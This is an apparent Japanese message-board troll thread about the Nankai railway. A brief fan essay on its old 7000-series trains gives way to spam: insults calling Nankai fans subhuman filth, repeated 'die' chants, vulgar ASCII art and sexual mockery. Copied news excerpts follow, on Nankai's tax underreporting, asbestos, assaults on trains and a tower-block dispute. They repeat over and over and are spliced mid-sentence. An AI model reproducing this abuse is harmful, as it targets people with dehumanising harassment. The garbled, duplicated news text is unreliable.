一般市民の「苦情」といえば、まず時間通りに電車が走らない事、著しくダイヤが不便な事、
ラッシュ時に混雑が激しい事、そして電車が汚い事というのが普通だろう。「汚い・古い」
といっても、素人目にも古臭い電車ならともかく、今の7000系が果たしてそうかと考えて
も、そこまでは感じていないと思う。確かに見た目はステンレス車のように輝いてはいない
し、何か古臭い造りで古いかなとは思うかも知れないが、せいぜいその程度だ。スピードだ
ってそこそこ出る。
ただ、私たち鉄道ファンは、その足回りが古臭い、加速が悪いと実車の経歴や中身を知って
いるから、嫌なイメージも余計感じるのだと思う。私の知り合いの南海線で長い事通勤し
ている一般人に聞いても、電車に対しての認識は余りないようだ。せいぜい、最近ステンレ
スの“新車”がたまに来るという程度だった。言われてみれば「ああ、確かに古い感じはす
るな」と思うくらいだった。
23:59:59なら赤字南海馬鹿
南海はみなべの恥であり和歌山の恥
7000系の固定4連すらボッコボコ潰していくことができない、経営難の南海w
南海の車両の近代化の遅れには、愕然とするぜ！
∧_/.:;;ヽ_|.:;;;;;;;|/⌒⌒⌒⌒⌒⌒))|.:;;;;;;;|（从ノ.ノ|.: ;;;;;;;|
(.／ ￣￣￣￣＼|.:;;;;;;;||::::::ヽ^...丶.／.:;;;;;;;＼|::::＿＿＿＿_
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(￣iｎ.:;;;;;;;;;;;;|♪〜＼.._.)3(._丿_＿_||.:;;;;;;;;;;;;|／ヽ.＿＿二
__ノ.||つ.:AIR;;;.|/|//＼__／ヽ./／||_ノMAIL;;;..|（/ /。〔＿＿〕/￣￣
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__ノ.||つ.:AIR;;;.|/|//＼__／ヽ./／||_ノMAIL;;;..|（/ /。〔＿＿〕/￣￣
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379 ：名無しでGO!：2006/07/09(日) 23:11:03 ID:3hx7kxN+0
ｹﾞｪｪｪ∧＿∧（ill´Д｀）ﾉつ!;:i;l｡ﾟ・と_＿）i:;l|;:;::;:::⊃⊂;::;.,.';;;;
'::.:.;::.｡∧__∧・（；｀Д´ '')っ←赤字南海
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赤字南海ヲタはやっぱりやりすぎなところがある。このスレがたつところからしても、
モラルのかけらも無い。もう一度、小学生からやり直したほうがいい。人間としてなってない。
いや、人間以下だ。ストロボ、三脚、罵声、キモい格好。見るに耐えないものだ。
汚物だ。粗大ごみだ。自省しろ。懺悔しろ。赤字南海ヲタはまず一度南海から離れることを強く勧める。
そして今までの悪行を思い起こすべきだ。
モラルのかけらも無い。もう一度、小学生からやり直したほうがいい。人間としてなってない。
いや、人間以下だ。ストロボ、三脚、罵声、キモい格好。見るに耐えないものだ。
汚物だ。粗大ごみだ。自省しろ。懺悔しろ。赤字南海ヲタはまず一度南海から離れることを強く勧める。
そして今までの悪行を思い起こすべきだ。
南海はボロい
赤字南海死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！
死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！
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赤字南海は２ちゃんねるの迷惑赤字南海赤字南海はボロい
死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！
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死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！死ね！
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赤字南海は２ちゃんねるの迷惑赤字南海赤字南海はボロい
全然関係無いけど「ギーシュ」ってだけはググル・イメージ検索しないほうがいいぜ
おいこら南海倒産したやないかボロい船舶ばっかり使ってるから、結局故障してこうなる。
7000系と一緒やな。http://www.youtube.com/watch?v=jhPLPxNAF8kさすが南海ヲタ。
やることが違うな。南海ヲタの一日PM 3:00⊂(＾ω＾⊂⌒｀つおはようお起床｡PM 5:00
|￣／|(＾ω＾)ｶﾁｶﾁ旧塗装7000系廃車だお|□|ﾉ）|￣￣￣￣￣|PM 9:00ｼｭｯｼｭｯ＿＿＿＿
( ＾ω＾) 来年度新車導入の妄想、気持ちいいおヽ〜/（ヽ♂彡[二二] ｣｣",AM 6:00(
＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣￣ﾌ／／（＿＿＿／／（＿＿＿＿＿_ﾉ＿＿＿＿
＿＿＿＿＿＿＿＿＿＿＜○√＜○√父→‖‖←母くくくく
おいこら南海倒産したやないかボロい船舶ばっかり使ってるから、結局故障してこうなる。
7000系と一緒やな。http://www.youtube.com/watch?v=jhPLPxNAF8kさすが南海ヲタ。
やることが違うな。南海ヲタの一日PM 3:00⊂(＾ω＾⊂⌒｀つおはようお起床｡PM 5:00
|￣／|(＾ω＾)ｶﾁｶﾁ旧塗装7000系廃車だお|□|ﾉ）|￣￣￣￣￣|PM 9:00ｼｭｯｼｭｯ＿＿＿＿
( ＾ω＾) 来年度新車導入の妄想、気持ちいいおヽ〜/（ヽ♂彡[二二] ｣｣",AM 6:00(
＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣￣ﾌ／／（＿＿＿／／（＿＿＿＿＿_ﾉ＿＿＿＿
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二番煎じって、どこがおもしろいの？ってオリジナルじゃない癖に
南海ヲタって、書かれた内容や指摘が見事当たってると、必ず二番煎じの書き込みをやってくるから、わかりやすいなw
赤字南海
23:59:59なら赤字南海倒産
2なら赤字南海倒産
赤字南海南海1000なら赤字南海倒産◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円
について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者に
よると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は
「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作は
なかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で
当期赤字に 南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の
赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストによる健康被害が広がる中、
大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散る
おそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.
html４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕---------------------------------------------------------------------------
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円
について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者に
よると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は
「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作は
なかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で
当期赤字に 南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の
赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストによる健康被害が広がる中、
大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散る
おそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.
html４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕---------------------------------------------------------------------------
-----大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田
市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助
（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の
調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、
２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の
男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。
車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、
男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに
押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちが
市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助
（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の
調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、
２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の
男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。
車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、
男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに
押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちが
うるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の
数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の
経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄
大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の
怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても
同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ
千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる
結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は
相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で
経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも
確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかった
ようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ
売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと
数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の
経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄
大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の
怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても
同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ
千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる
結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は
相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で
経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも
確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかった
ようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ
売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと
惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の
黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も
以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、
国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民
からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を
開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の
二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで
地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ
（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ
黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も
以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、
国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民
からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を
開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の
二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで
地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ
（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ
制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられない
ニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限の
ない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら
周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、
手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が
建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる
専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの
超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは
ニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限の
ない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら
周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、
手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が
建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる
専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの
超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは
「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には
時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」
と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、
建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧―＝≡三∧＿∧
＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；
#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」
と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、
建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧―＝≡三∧＿∧
＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；
#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタ現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、
情けない南海南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の
前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設
反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ
約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」と
いう。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」
と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、
建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
情けない南海南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の
前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設
反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ
約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」と
いう。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
